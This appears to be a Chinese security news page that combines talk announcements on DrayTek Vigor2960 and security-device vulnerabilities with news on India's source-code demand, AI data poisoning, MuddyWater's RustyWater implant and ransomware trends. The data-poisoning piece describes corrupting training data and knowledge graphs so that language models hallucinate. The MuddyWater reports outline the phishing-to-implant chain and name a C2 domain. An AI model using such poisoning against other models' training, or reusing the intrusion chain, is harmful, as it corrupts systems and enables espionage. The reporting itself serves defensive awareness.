议题分享：Vigor2960 Memoirs \nPursuit of the Elusive 0day & 1day


Writeup

, ,

…

前言

2024年9月因为360车联网安全研究院副院长曹颖杰的关系，受到邀请去了长沙信息物理系统安全技术沙龙水了一个议题，主要是之前对 draytek 2960的漏洞挖掘回顾和一个囤了很久，但是后面被修了的一个漏洞部分详情披露。（PS 这个洞的逻辑后来我出成了华为CTF的某个Pwn题）

公开 slide

这里公开 PPT ， 感兴趣的同学可以自行阅读

说起来这个洞，之前就已经有个大哥在他博客也提到了，还是太容易被发现了。另外感叹一句长沙还是挺好玩的。

议题分享： 企业设备安全设备漏洞分析与利用


Writeup

, , , , ,

…

前言

这个议题内容在 2024年10月10日的华为 “安全光网”网络安全技术论坛和 2024年11月9日的先知沙龙-北京站分享过。

当时北京沙龙为了篇幅砍了很多 slide 的页数， 这次分享是比较完整的 95 页（ 做太多了…), 主要的内容是从各个类型的安全设备切入，分析他们的攻击面以及一些公开的 1day的漏洞分析， 主要大纲如下：

  1. 安全邮件网关
  2. 网关
  3. 防火墙
  4. VPN设备

……

公开 slide

这里公开 slide ， 感兴趣的同学可以自行阅读

网络威胁加剧背景下，印度要求提交智能手机源代码用于安全审计

在国家安全诉求与企业保密权的拉锯战日益升级之际，印度最新提出的获取智能手机源代码的要求，在科技巨头间引发轩然大波。这项于近日公布的提案，强制要求苹果、三星等企业向政府实验室提交专有源代码以供审查，表面上是为了在这个全球最大的数字市场之一打击日益猖獗的网络威胁。但长期以来坚守用户隐私立场的苹果公司，此次却坚决抵制，这一表态或将重塑全球企业在新兴经济体应对监管压力的策略。
印度推出这一举措的背景是，该国网络诈骗与数据泄露事件激增，而智能手机用户数量已突破 10 亿大关。纳伦德拉・莫迪政府将该倡议定位为保护公民数据的关键举措，要求制造商不仅要共享源代码，还需就重大软件更新向当局报备，并留存详细的应用活动日志。这并非印度首次动用监管权力 —— 此前要求加密通信预留后门的诉求也曾遭遇类似抵制 —— 但此次源代码强制提交的规定，标志着监管力度的大幅升级，可能导致企业视为核心机密的知识产权面临泄露风险。
据近期报道，该提案还包含多项要求，例如简化应用卸载流程、限制后台相机调用权限等，旨在赋予用户更多控制权的同时，方便政府实施监管。不过，行业内部人士私下透露，提案的真实意图可能指向更广泛的监控能力，这一担忧也得到了硅谷高管私下简报的印证。正如一份尖锐分析所指出的，苹果公司的立场凸显了企业对所谓 “监管越界” 行为的集体反抗。

科技巨头联合抵制源代码披露

苹果的抵制并非个例，三星、小米等其他厂商也表达了类似担忧，称此举可能导致知识产权被盗，扼杀创新活力。据路透社 2026 年 1 月 11 日的独家报道，该计划是莫迪政府整体安全改革的一部分，目标直指全球第二大智能手机市场 —— 印度去年的诈骗案件增幅高达 30%。报道强调，此类要求可能导致软件更新延迟，因为企业需先获得印度官员的批准，这可能会阻碍安全补丁的及时推送。
社交平台 X（前身为推特）上的公众反馈呈现两极分化，用户围绕隐私影响展开激烈辩论。一则来自科技爱好者的帖子发出 “监控国家警报” 的警告，而另一些用户则赞赏政府打击网络犯罪的积极态度。截至 2026 年 1 月 12 日的实时搜索结果显示，这些在线讨论反映出民众的分歧：部分人认为这是必要的保护措施，另一些人则担忧数字自由遭到侵蚀。苹果公司向来对类似要求持拒绝态度 —— 从 2014-2016 年中国的相关诉求，到美国执法部门的调查 —— 使其在这类博弈中经验丰富，常常以其生态系统的封闭性作为防护屏障。
深入核心信源来看，苹果内幕网（AppleInsider）2026 年 1 月 11 日的一篇报道直言不讳地指出：“印度再次试图通过要求获取 iOS 源代码来胁迫苹果，但这行不通。” 该报道详细说明，与更开放的系统不同，苹果 iOS 依赖专有源代码来维持其备受赞誉的安全特性，例如端到端加密和生物识别防护。专家认为，提交这些源代码可能会制造安全漏洞，一旦泄露，不仅在印度，全球范围内的恶意攻击者都可能加以利用。

历史回响与全球先例

这并非苹果首次与印度发生此类冲突。就在上个月（2025 年 12 月），该公司拒绝了在 iPhone 上预装政府推出的 “Sanchar Saathi” 应用的强制要求，理由是存在隐私风险。当时社交平台 X 上的帖子（包括一位知名科技分析师提及苹果对用户数据安全的担忧）凸显了其抵制的一贯性。这款应用原本用于追踪丢失设备和打击垃圾短信，但批评者认为它可能成为监控的 “特洛伊木马”，其不可删除的特性也引发了广泛警惕。
在全球范围内，类似案例屡见不鲜。2016 年苹果与美国联邦调查局（FBI）就解锁恐怖分子 iPhone 的对峙事件，为隐私保护树立了标杆，影响了企业对政府诉求的回应方式。在印度，当前提案是在 2021 年《个人数据保护法案》的基础上推进的，该法案曾试图要求数据本地化，但因表述模糊遭到抵制。匿名的行业消息人士表示，同意共享源代码可能会引发危险的多米诺骨牌效应，鼓励其他威权政权提出类似要求。
据《一周》杂志（The Week）2026 年 1 月 11 日报道，三星也对此表示反对，强调强制要求更新报备可能会增加成本、减缓创新速度。这家在印度占据重要市场份额的韩国巨头认为，此类规定缺乏国际先例，可能导致印度脱离全球科技标准。社交平台 X 的讨论中提到，小米的反对则聚焦于强制日志留存可能导致的电池耗电问题，凸显了制造商面临的实际操作难题。

印度科技繁荣背后的经济赌注

印度智能手机市场年估值超过 400 亿美元，是一块诱人的 “蛋糕”，企业难以忽视。苹果公司已加大在印度的制造力度，在地缘政治紧张局势下将生产从中国转移，其位于泰米尔纳德邦和卡纳塔克邦的工厂不仅供应印度本土市场，还承担出口任务。然而，这些投资附带了条件：印度政府通过 “生产关联激励计划”（Production Linked Incentive）提供补贴等优惠政策，实则将合规性与持续享受优惠挂钩。
拒绝配合将面临风险。分析师推测，持续抵制可能导致关税提高、进口限制，甚至部分机型被禁，这让人联想到 2020 年印度下架中国应用的冲突事件。《金融快报》（Financial Express）2026 年 1 月 11 日的报道指出，苹果公司过去曾拒绝过中国和美国的类似要求，印度可能会遭遇同样的拒绝。不过，莫迪政府在民族主义情绪的支撑下，可能会进一步强硬表态，将这些规定定位为对抗外国科技霸权、维护国家主权的举措。
社交平台 X 上，印度用户的情绪倾向于支持本土控制权，一则热门帖子质疑外国企业为何抵制 “基本的安全检查”。这种公众支持可能会鼓舞监管机构，但国际贸易观察人士警告称，如果这些规定歧视进口产品，可能会引发世界贸易组织（WTO）的相关诉讼。

隐私与安全的核心困境

这场争议的核心是一场理念冲突：如何平衡国家安全与个人隐私。包括政府发言人在内的支持者表示，去年网络钓鱼诈骗从印度账户窃取了数十亿美元，此类威胁正不断升级。通过获取源代码，实验室理论上可以审计后门程序或安全漏洞，构建更安全的生态系统。
然而，批评者谴责这是一条危险的滑坡路。苹果内幕网的报道强调，源代码是 iOS 的 “DNA”，包含面容 ID（Face ID）、安全飞地（Secure Enclave）等功能的核心算法。共享源代码可能导致竞争对手或黑客进行逆向工程，路透社的分析也重申了这一点。此外，提案要求留存 12 个月的活动日志，这引发了大规模监控的担忧，可能违反印度最高法院关于隐私是基本权利的裁决。
行业内部人士在非公开对话中预测，后续将展开谈判。苹果可能会提出替代方案，例如第三方审计或增强本地数据中心建设，而不交出核心知识产权。据《一周》杂志报道，三星的抵制措施包括通过印度移动与电子协会（India Cellular and Electronics Association）等行业组织进行游说，该协会已指出这些规定可能会阻碍外国投资。

对全球科技政策的潜在影响

如果印度得逞，可能会激励巴西、印度尼西亚等市场效仿推出类似政策，将全球科技环境分割成多个监管孤岛。苹果生态系统以统一性为核心，将受到最大冲击，被迫推出地区专属的代码变体，增加开发复杂性。
相反，如果苹果坚决拒绝，可能会强化其 “隐私捍卫者” 的品牌形象，吸引对政府越界行为保持警惕的用户。全球隐私倡导者在社交平台 X 上对这一立场表示赞赏，一则帖子称其为 “数字权利的胜利”。不过，在印度市场，平价安卓设备占据主导地位，苹果的高端定位使其影响力有限 —— 据最新估算，iPhone 在印度的市场份额仅为 3%-4%。
《印度教徒报》（The Hindu）2026 年 1 月 11 日的报道捕捉到了反对者的核心观点，指出科技企业在数据泄露事件频发的背景下，对知识产权风险的担忧日益加剧。随着苹果高管与印度官员即将举行会面，相关讨论将进一步展开，此次事件的结果将考验国家主权诉求与企业自主权的边界。

探索前进之路

展望未来，专家预计提案将进行修订以软化立场 —— 可能会限制获取经过编辑的源代码版本，或仅允许独立验证机构参与审查。印度过往有灵活调整的先例：例如 2023 年的电信法案，在行业强烈反对后，部分加密相关强制要求被取消。
对苹果而言，其策略将涉及法律和外交渠道，可能会援引知识产权保护相关的国际协议。《今日印度》（India Today）2026 年 1 月 11 日的报道详细介绍了政府在新安全规则框架下推动获取源代码的相关举措。不过，鉴于莫迪 “数字印度” 愿景的重要性，妥协似乎不可避免。
归根结底，这一事件凸显了在数据即权力的世界中存在的紧张关系。随着科技企业与政府争夺控制权，用户可能是最大的受益者，也可能是最大的受害者 —— 这取决于哪一方先做出让步。社交平台 X 上每天都有新的讨论出现，相关话题持续演变，但苹果坚决说 “不” 的态度，可能会在印度之外产生深远影响。

 


毒盾：数据投毒如何重塑 2026 年人工智能安全格局

在飞速发展的人工智能领域，一种全新的防御策略正受到研究人员与企业的广泛关注 ——数据投毒。这种技术通过刻意篡改数据集，破坏那些可能窃取或爬取信息的未授权人工智能模型。近期的技术进展表明，它已不再是单纯的理论概念，而是打击数据盗窃的实用工具。例如，“毒泉计划”（Poison Fountain）等倡议正联合行业内部人士污染知识图谱，使其对掠夺性人工智能系统完全失效。
数据投毒的运作机制简洁却巧妙。通过向数据集注入误导性或错误信息，数据创建者能确保任何基于被盗数据训练的人工智能，都会输出不可靠的结果。这种方法形式多样，从人工修改到自动嵌入隐藏 “毒剂” 的系统均有应用。而授权用户可凭借密钥过滤这些 “污染物”，保证数据在合法用途中仍保持完整性。这种双重设计使其成为知识产权保护的理想选择 —— 毕竟在这个人工智能模型海量吞噬网络数据的时代，知识产权防护迫在眉睫。
随着人工智能技术的进阶，数据泄露风险也急剧升级。黑客与无良企业可能窃取专有信息训练竞争模型，侵蚀企业的竞争优势。数据投毒应运而生，成为扭转局势的反击手段，让潜在窃贼自食恶果。这一主动防御姿态，与保护数字资产的广泛努力相契合，也呼应了网络安全领域对大型语言模型脆弱性的担忧。

数字防御领域的新兴战术

一个关键案例来自近期研究：科学家提出将自动化数据投毒作为抵御人工智能盗窃的 “堡垒”。据《信息世界》（InfoWorld）报道，这套系统能让被盗数据对黑客完全失效，同时为持有合法解密工具的用户保留可用性。其核心是嵌入细微扭曲信息，使人工智能模型在训练受污染数据后出现幻觉或生成错误响应。
这一创新是对早期理念的升级 —— 例如《麻省理工科技评论》2021 年一篇文章曾倡导通过公众参与式数据污染，阻止科技巨头的监控行为。如今该概念已大幅演进，融入了能自动完成投毒流程的复杂算法。在人工智能模型日益普及的当下，这类策略对于掌控敏感信息至关重要。
行业采纳速度正在加快。据《寄存器》（The Register）报道，研究人员正积极对被盗数据实施投毒，以干扰人工智能训练。这不仅能抵御即时威胁，还能通过提高数据利用的成本与复杂性，遏制未来的违规行为。企业已开始将这些技术整合到数据管理协议中，将其视为多层次安全策略的核心环节。

对人工智能发展的连锁影响

数据投毒的意义远不止于防御。它可能从根本上改变人工智能模型的构建与训练方式。若得到广泛应用，可能会迫使开发者寻求经过验证的纯净数据集，进而减缓生成式人工智能的无序扩张。这一转变与当下关于数据伦理获取的争议高度相关 —— 投毒数据就像沉默的边界守护者，规范着数据使用的底线。
批评者认为，尽管数据投毒效果显著，但也引发了伦理争议。无差别污染可能会意外损害科研、教育等良性人工智能应用。不过支持者反驳称，更大的风险在于无节制的数据爬取，这会严重侵犯创作者权益。正如《寄存器》对 “毒泉计划” 的报道所强调的，平衡这些担忧是关键 —— 该计划正联合盟友对抗人工智能巨头的垄断行为。
社交平台 X 上的舆论反映出人们对这类技术的认知不断提升。用户帖子纷纷强调隐私导向技术的变革潜力，预测到 2026 年，此类措施可能会重新定义网络防御格局。其中一则讨论提到，自主人工智能攻击者的出现催生了大量创新反击手段，凸显了数据投毒这类工具的紧迫性。

近期泄露事件中的实际案例

数据投毒的现实应用已开始浮现。在数据敏感性极高的制药行业，企业正探索通过投毒保护研究数据集。一位网络安全分析师在 X 上发帖指出，人工智能驱动的数据滥用风险被严重低估，这与行业对监管压力和暴露风险的普遍警示相呼应。
同样，在 Web3 和去中心化技术领域，数据完整性至关重要。X 用户的观点预测，隐私代币将迎来显著增长，这意味着投毒技术可能与区块链结合，实现更强的安全性。正如相关帖子所预测的，这种融合可能构建出抗篡改的稳健生态系统，而合规性将成为 2026 年的前沿战场。
历史案例为这一叙事增添了深度。据《生活科学》（Live Science）报道，考古发现的 6 万年前毒箭表明，人类长期以来就将毒素用于防御。现代数据投毒正是这种古老智慧的数字化改编，使其适配于数字战争。

挑战与未来展望

实施数据投毒并非毫无阻碍。技术层面的挑战包括：确保 “毒剂” 难以被检测却效果显著，且能在海量数据集上实现规模化应用。此外，法律框架进展滞后，若投毒数据造成意外损害，责任界定问题悬而未决。《首席安全官在线》（CSO Online）的专家强调，需要设计能保障数据可用性的密钥，这凸显了其中的平衡之道。
国际视角存在差异。在欧盟等数据法规严格的地区，数据投毒可作为《通用数据保护条例》（GDPR）等法规的补充。全球用户在 X 上讨论称，Web3 对所有权和去中心化的强调，放大了这类防御技术的作用，并预测相关技术市场将迎来爆发式增长。
展望未来，数据投毒与量子计算等新兴技术的融合，可能会提升其效能。随着人工智能的演进，防护手段也必须与时俱进，而数据投毒有望成为标准实践。据《科技雷达》（TechRadar）报道，被投毒的知识图谱会导致大型语言模型产生幻觉，这一战术可能会得到广泛应用。

引领潮流的创新者

核心参与者正在推动这一变革。正如《寄存器》的存档讨论所报道的，“毒泉计划” 正动员各方力量反对当前的人工智能范式。通过鼓励大规模参与，它让防御变得民主化，使个人和小型机构有能力对抗科技巨头。
企业层面的冲突也凸显了其中的利害关系。据《密码经济学家》（Cryptonomist）报道，CEA 工业公司与 YZi 实验室之间的治理争端，围绕 “毒丸计划” 展开 —— 这与数据投毒在防范恶意收购中的作用异曲同工。这一金融领域的隐喻，凸显了 “投毒” 概念的广泛适用性。
在游戏和金融科技领域，X 上的帖子强调了 Web3 的增长，而高效能和去中心化经济将受益于安全的数据实践。预测显示，到 2026 年，数据安全领域的专业岗位将激增，其中将包含数据投毒相关专长。

更广泛的社会影响

数据投毒的社会意义深远。通过遏制监控行为，它在这个日益受监视的世界中维护了隐私。它还能平衡竞争环境，让小型创新者无需担心成果被侵占，从而蓬勃发展。
教育与认知普及至关重要。相关技术培训倡议有助于构建更具韧性的数字社会。正如 X 上一则帖子所指出的，医疗领域的下一个重大突破可能源于 “民间创新”—— 这与数字领域中 “天然毒素”（现实防御）和 “数字毒素”（数据投毒）的呼应异曲同工。
归根结底，数据投毒代表着一种范式转变，将脆弱性转化为优势。随着威胁不断增多，这面 “毒盾” 很可能定义人工智能安全的未来，确保创新在伦理框架内有序推进。

企业中的战略整合

企业正围绕这一工具制定战略。将数据投毒整合到云服务中可能会成为常态，服务提供商将其作为一项功能推出。这与 2026 年国际消费电子展（CES 2026）上的发布趋势相契合 —— 例如 T3 公司就强调了人工智能更新中的安全重点。
在关键行业（如安全指南中提及的领域），数据投毒在强化防御的同时，避免为违规活动提供支持。这是一种微妙的平衡，在推进防护的同时坚守合规边界。
X 上关于网络军备竞赛的讨论预测，人工智能将成为主要攻击者，因此需要先进的反击手段。数据投毒恰好契合这一叙事，未来可能与 Bittensor 等网络融合，实现去中心化的人工智能安全防护。

不断演变的威胁与适应性响应

威胁正不断进化，人工智能能以机器速度策划攻击活动。数据投毒也在通过进化自身方法来适应 —— 例如可能融入实时篡改技术。
正如 X 上关于 Web3 预测的帖子所建议的，全球合作可能会使相关实践标准化。合规领域将需要数据投毒这类创新解决方案。
总而言之，发展轨迹指向广泛采用，2026 年将成为这项技术走向成熟的关键一年。

被称为泥水坑（MuddyWater） 的伊朗威胁行为体，近期针对中东地区的外交、海事、金融以及电信领域机构发起鱼叉式钓鱼攻击活动，所使用的攻击载荷是一款基于 Rust 语言开发的植入程序，代号为锈水（RustyWater） 。
“该攻击活动通过图标欺骗和恶意 Word 文档来投递这款 Rust 植入程序，此程序具备异步命令与控制（C2）、反分析、注册表持久化，以及模块化的入侵后功能扩展能力。” 云安实验室（CloudSEK）研究员普拉杰沃尔・阿瓦斯蒂（Prajwal Awasthi）在本周发布的一份报告中指出。
这一最新动向，体现出泥水坑组织攻击手段的持续演变：该组织已逐步减少对合法远程访问软件的依赖，不再将其作为入侵后工具，转而构建起多样化的定制恶意软件武器库，其中包含 “凤凰（Phoenix）”“UDP 匪徒（UDPGangster）”“虫眠（BugSleep，又称泥腐木马）” 以及 “泥蝰（MuddyViper）” 等多款工具。
该黑客组织还有多个追踪代号，包括芒果沙暴（Mango Sandstorm） 、静态小猫（Static Kitten） 和TA450 ，经研判隶属于伊朗情报与安全部（MOIS），其活跃历史至少可追溯至 2017 年。
锈水木马的攻击链流程十分明确：攻击者发送伪装成网络安全指南的鱼叉式钓鱼邮件，邮件附件为一个 Microsoft Word 文档。受害者打开文档后，会被诱导点击 “启用内容”，这一操作会触发恶意 VBA 宏的执行，进而完成 Rust 植入程序二进制文件的部署。
这款植入程序也被称作射手远程访问木马（Archer RAT） 和RUSTRIC ，其功能包括：收集受害主机信息、检测已安装的安全软件、通过写入 Windows 注册表项实现持久化驻留，同时与命令与控制（C2）服务器（域名：nomercys.it [.] com）建立连接，以此支持文件操作与命令执行等后续攻击行为。
需要重点关注的是，上月末赛科特实验室（Seqrite Labs）曾通报过RUSTRIC 的相关攻击活动：该恶意程序被用于针对以色列的信息技术（IT）企业、托管服务提供商（MSP）、人力资源公司以及软件开发企业发起攻击。赛科特实验室已将该攻击活动标记为UNG0801 和图标猫行动（Operation IconCat） ，并持续开展追踪分析。
“从历史来看，泥水坑组织在初始访问和入侵后操作阶段，一直依赖 PowerShell 和 VBS 加载器。” 云安实验室表示，“而这款 Rust 植入程序的推出，标志着其工具链迎来显著升级，朝着架构更规整、模块化程度更高、隐蔽性更强的远程访问木马（RAT） 能力方向发展。”

2025 年，执法部门的打击行动虽暂时扰乱了勒索软件团伙的运作，但攻击数量仍激增47% 。这些团伙分化为灵活的附属分支，同时迭代出数据勒索、静默入侵等新型攻击手段。全球因此蒙受的损失高达数百亿美元，关键行业均受到严重波及。勒索软件的这种极强抗打击能力，凸显出建立多维度防御体系和推进国际协作的迫切性。
在网络安全威胁态势持续演变的 2025 年，执法部门针对勒索软件团伙的强硬打击行动，最终只取得了喜忧参半的效果。包括服务器查封、人员逮捕在内的一系列高调执法行动，虽暂时中断了部分团伙的运作，但攻击总量不降反升，完全超出了外界预期的下降趋势。安全企业收集的数据显示，已上报的勒索软件攻击事件数量大幅攀升，犯罪分子为应对执法压力，迅速调整策略，分化为规模更小、行动更灵活的团伙。
这种抗打击能力，源于现代勒索软件运作模式的核心特征 ——去中心化架构。附属黑客作为独立个体，从核心开发者处获取恶意软件授权，他们可以快速更换合作对象，通过更换组织名称、复用攻击工具的方式规避检测。例如，2025 年初国际执法机构捣毁了 “锁比特（LockBit）” 等知名团伙的相关基础设施后，该团伙的残余势力便以新名称重新活跃，继续针对各行业的脆弱组织发动攻击。
勒索软件造成的经济损失触目惊心，尽管因瞒报漏报问题，确切数字难以统计，但全球损失规模预计已达数百亿美元。受害者遍布小型企业至关键基础设施供应商，这一现象充分表明，勒索软件的危害已渗透到数字经济的各个角落。值得注意的是，执法部门的胜利往往局限于打击可见的基础设施，而非隐藏在背后的黑客网络，这使得犯罪分子得以迅速重整旗鼓，发起新一轮攻击。

团伙分化背景下的持续性威胁

2025 年，美国联邦调查局（FBI）、欧洲刑警组织等执法机构取得了多项战果，例如逮捕了多名东欧地区的核心涉案人员，查封了多个托管勒索软件即服务（RaaS）平台的暗网服务器。但正如《登记册》杂志的一份报告所指出的，这些行动主要针对硬件设备和代码仓库，并未伤及掌握核心技术的黑客 —— 他们只需迁移至新的基础设施，便可卷土重来。这种 “猫鼠博弈” 的态势，凸显出一个核心难题：网络犯罪分子往往藏身于引渡政策宽松的国家或地区，这为相关司法追责工作带来了极大阻碍。
行业分析师指出，与上一年相比，公开披露的攻击事件数量增长了 47% ，全球范围内超 8000 家组织因此遭受攻击。医疗和教育行业成为重灾区，攻击者利用老旧系统漏洞和人员操作失误，通过精密设计的钓鱼攻击实施入侵。一种新兴攻击手段逐渐浮出水面：黑客滥用合法的远程管理工具，将恶意操作伪装成常规的 IT 运维行为，以此规避安全警报的触发。
X 平台上，网络安全专家围绕勒索软件攻击的新趋势展开热议，他们指出，许多勒索软件团伙已调整策略，不再一味依赖文件加密，转而采用数据勒索的方式施压受害者—— 通过威胁泄露窃取的数据逼迫受害者妥协。有专业人士发文强调，内部威胁的风险正在上升：心怀不满的员工可能会出售企业网络的访问权限，这无疑为犯罪团伙的攻击范围扩张提供了便利。

攻击手段迭代与受害者应对策略

有数据显示，勒索软件的平均付款率已降至 30% 以下。为维持盈利，勒索软件攻击者不断创新攻击手段。他们越来越倾向于采用 **“静默入侵” 战术 **：在入侵目标网络后，潜伏数周甚至数月，窃取大量敏感数据后再提出赎金要求。据 Emsisoft 公司的分析报告，这种策略转变标志着勒索软件威胁已进入成熟阶段，攻击者的勒索逻辑从单纯的 “锁死系统” 升级为 “数据掌控”。
科技行业虽已加强防御措施，但安全漏洞依然存在。企业纷纷斥巨资部署人工智能驱动的检测系统和零信任架构，然而许多企业仍因供应链漏洞遭到攻击 —— 第三方供应商往往成为黑客入侵的突破口。一起典型案例是，多家软件供应商接连遭到攻击，其攻击模式与数年前的 “太阳风（SolarWinds）” 事件相似，但最终投放的攻击载荷替换为勒索软件。
X 平台的网络安全领域意见领袖发布了与上述趋势一致的预测，他们指出，针对云 API 和身份管理漏洞的攻击将呈激增态势。有博主发文详细分析称，勒索软件团伙会复用已被捣毁组织的代码，形成 “九头蛇效应”—— 打掉一个分支，就会催生出更多新的分支。这种极强的适应性不仅让勒索软件威胁持续存在，还吸引了大量新势力入局，仅 2025 年就有至少 10 个新型团伙出现，每个团伙都专注于物联网设备攻击等细分领域的战术研究。

全球影响与行业特定脆弱性

勒索软件的危害远超直接受害者本身，其引发的连锁反应扰乱了全球供应链，同时削弱了公众对数字服务的信任。仅在美国境内，自 2023 年以来，勒索软件攻击事件的数量就激增了 50%，受影响对象涵盖市政当局到财富 500 强企业等各类主体。交通、能源等关键行业面临的风险持续升级，攻击者的核心目的是制造大规模混乱，以此逼迫受害者妥协让步。
国际协作力度虽有所加强，但地缘政治紧张局势拖累了相关进程。与俄罗斯、朝鲜相关的攻击团伙，往往因本国政府的默许态度而免遭打击，得以持续开展攻击活动，并将勒索所得投入到更广泛的犯罪生态系统中。《信息安全杂志》的一篇报道指出，部分地区加密货币监管政策的放宽，为赎金洗钱行为提供了便利，这在客观上维持了勒索软件犯罪的经济驱动力。
在保险政策的引导下，越来越多的受害组织选择 **“以韧性对抗勒索” 而非支付赎金 **。但这种策略也带来了副作用：恼羞成怒的攻击者会在泄露网站上公开窃取的数据，导致更多数据泄露事件发生。X 平台的威胁情报账号发文记录了这一现象，网友们围绕 “拒绝支付赎金的伦理争议” 以及 “该策略是否会倒逼攻击手段升级” 等话题展开激烈讨论。

执法挑战与未来应对策略

尽管面临诸多挫折，但部分打击行动仍产生了持续性影响。2025 年年中，一个与多起重大数据泄露事件相关的大型附属黑客网络被捣毁，这一行动暂时遏制了部分地区的勒索软件攻击活动。不过，正如深度打击（Deepstrike）公司的报告所指出的，勒索软件生态系统进一步分化，大型犯罪集团留下的市场空白，迅速被小型独立黑客填补。
专家认为，应对勒索软件威胁必须采取多维度综合策略，将技术防御与国际外交手段相结合。政企合作模式逐渐获得认可，科技巨头开始共享威胁情报，以此实现攻击的提前预警。但人员因素仍是安全防御的最大短板：以招聘信息为伪装的钓鱼攻击等社会工程学手段，依然能轻易突破企业的安全防线。
X 平台上的讨论还聚焦于 2026 年的新兴威胁趋势，例如黑客利用生成式人工智能制作极具迷惑性的钓鱼诱饵，以及实现恶意软件变种的自动化生成。资深分析师发文警示，量子计算技术的发展可能会破解当前主流的加密算法，因此呼吁各方提前推进加密算法的升级工作。

经济影响与企业适应性调整

勒索软件带来的财务负担，直接导致网络保险保费飙升 ——2025 年保费平均涨幅达25% ，这使得许多小型企业无力承担保险费用。为应对威胁，企业纷纷将数十亿美元投入网络安全预算，重点采购终端检测与响应工具。但正如 X 平台上一条广为传播的帖子所指出的，这些投入的投资回报率参差不齐，许多企业仍会因未打补丁等基础安全漏洞遭受攻击。
全球范围内，监管机构出台了更为严格的攻击事件上报要求，强制企业在遭受攻击后的 72 小时内进行披露。这种透明化要求旨在构建协同防御体系，但也使企业面临声誉受损的风险。在欧洲，违规企业除了要承担攻击造成的损失，还需缴纳《通用数据保护条例》（GDPR）项下的高额罚款；美国则通过立法，强制企业建立备份机制和事件响应预案。
展望未来，区块链技术在安全交易领域的应用以及人工智能在异常行为检测中的落地，或将扭转当前的防御被动局面。但考虑到网络犯罪分子的敏捷性，2026 年他们很可能会开发出更具创新性的规避手段，例如针对边缘计算环境的攻击。

防御机制创新进展

2025 年，安全厂商推出了多款先进防御方案，其中包括可在文件加密前识别异常网络行为的行为分析技术。飞塔（Fortinet）等企业的合作案例表明，构建分层防御体系至关重要，该体系需涵盖防火墙部署、员工安全培训等多个环节。
尽管防御技术不断进步，但人员因素仍是难以根除的安全漏洞。安全培训模拟演练已成为企业的常规操作，但攻击者随之升级战术，利用前期攻击获取的数据实施高度个性化的钓鱼攻击。X 平台上的网络安全会议相关内容中，大量案例表明，一个泄露的账号凭证，就足以导致整个企业的安全防线全面崩塌。
勒索软件谈判公司的兴起，为受害企业提供了新的应对思路。这类公司为受害者提供沟通策略咨询，帮助其降低赎金支付金额。尽管该行业存在较大争议，但有数据显示，其服务可在部分案例中将赎金要求降低 50%。

地缘政治维度与长期发展展望

勒索软件与国家级行为体的关联，进一步加剧了问题的复杂性 —— 部分攻击行动实则是披着犯罪外衣的间谍活动。赛博尔（Cyble）公司的报告指出，一些被认为与敌对国家政府有关联的团伙，将西方关键基础设施列为攻击目标，实现了 “犯罪牟利” 与 “战略破坏” 的双重目的。
2025 年举办的多场国际峰会均呼吁各方采取协同行动，但部分 “避风港” 国家的执法漏洞问题仍未得到解决。X 平台的分析师推测，区块链溯源技术或可在未来破除勒索软件交易的匿名性，但就目前而言，加密货币仍是支撑勒索软件犯罪的核心支付手段。
2025 年年末，业内人士达成普遍共识：执法打击虽能带来短期缓解，但要彻底根除勒索软件威胁，必须通过全球协作与持续技术创新，从根本上摧毁其赖以生存的经济基础。

团伙联盟变迁与附属生态动态

勒索软件的附属运营模式发生了剧烈变革，黑客会在市场上多方对比，挑选赎金回报率最高的勒索软件变种。各类网络分析报告显示，这种市场化竞争机制倒逼恶意软件开发者不断创新，进而催生出破坏力更强的勒索软件变种。
受害者拒绝支付赎金的趋势，迫使勒索软件团伙拓展盈利渠道，他们开始将分布式拒绝服务（DDoS）攻击与数据勒索相结合。X 平台的相关帖子显示，部分团伙甚至推出 “悬赏计划”，高价收购企业内部人员的访问权限，使员工在不知情的情况下成为攻击帮凶。
为应对这一威胁，企业加强了内部监控力度，部署专用工具检测可能预示内部威胁的异常行为。

技术军备竞赛持续升级

抗量子加密技术的研发与部署变得愈发紧迫，企业纷纷加速推进后量子算法的落地应用。但受限于老旧系统的兼容性问题，技术普及进程较为缓慢，这就为攻击者留下了可乘之机。
人工智能的 “双刃剑” 效应愈发凸显：防御方利用人工智能开展预测性分析，而攻击方则借助该技术生成可规避特征检测的多态性恶意代码。X 等平台的讨论将这一现象定义为一场不断升级的技术军备竞赛，目前尚无任何一方占据明显优势。
归根结底，2025 年勒索软件威胁的发展轨迹，是一部 “在对抗中不断进化” 的历史。这一态势警示我们，必须重新审视现有防御策略，才能有效应对这一顽固的数字威胁。

臭名昭著的高级持续性威胁（APT）组织泥水坑（MuddyWater） 完成了武器库的全面升级，摒弃传统脚本工具，转而采用一款专为规避检测而设计的精密新型恶意程序。云安实验室（CloudSEK）旗下 TRIAD 研究团队发布的一份新报告显示，该组织发起了一场定向鱼叉式钓鱼攻击，针对中东核心关键行业展开渗透，所使用的恶意软件变种为首次发现，代号 **“锈水（RustyWater）”**。
此次攻击精准锁定 **“外交、海事、金融及电信领域机构”**，与该组织既往的攻击模式相比，呈现出显著的转向特征。
长期以来，被认为与伊朗相关势力存在关联的泥水坑组织，一直依赖 **“PowerShell 和 VBS 脚本加载器”** 实现对受害网络的初始访问。而此次最新攻击行动则标志着其战略转型 —— 朝着打造更强抗打击能力、更高隐蔽性的恶意程序方向演进。
报告指出：“这款基于 Rust 语言开发的植入程序的推出，标志着该组织的工具链迎来显著升级，朝着架构更规整、模块化程度更高、隐蔽性更强的远程访问木马（RAT） 能力方向发展。”
攻击者选择 Rust 编程语言开发恶意程序，主要获得两大核心优势：一是跨平台兼容性；更关键的一点在于，能够大幅降低被现代终端防护系统检测到的概率 —— 这类防护系统通常针对该组织此前使用的脚本攻击手段设置了特征检测规则。
该攻击的感染流程始于一种经典却极具杀伤力的鱼叉式钓鱼手段：受害者会收到包含恶意 Word 文档的邮件，这些文档往往被伪装成官方沟通文件。监测到的其中一个钓鱼诱饵邮件，主题为 **《新版网络安全防护指南》**。
完整的攻击链步骤清晰且环环相扣：
  1. 恶意钓鱼邮件：受害者收到钓鱼诱饵邮件。
  2. 恶意宏代码：打开附件文档后触发恶意代码执行。
  3. 投放程序：一个中间可执行文件（例如以Cybersecurity.doc为载体，进而从nomercys.it.com下载恶意载荷）完成攻击铺垫。
  4. 植入程序部署：锈水木马植入程序被成功投放，该程序具备异步命令与控制（C2）、反分析、注册表持久化，以及模块化的入侵后功能扩展能力。
尽管此前已有关于 “射手远程访问木马（Archer RAT）” 或 “RUSTRIC” 等 Rust 语言恶意工具的零星报道，但云安实验室分析师强调，此次发现的这款变种具有独特性。
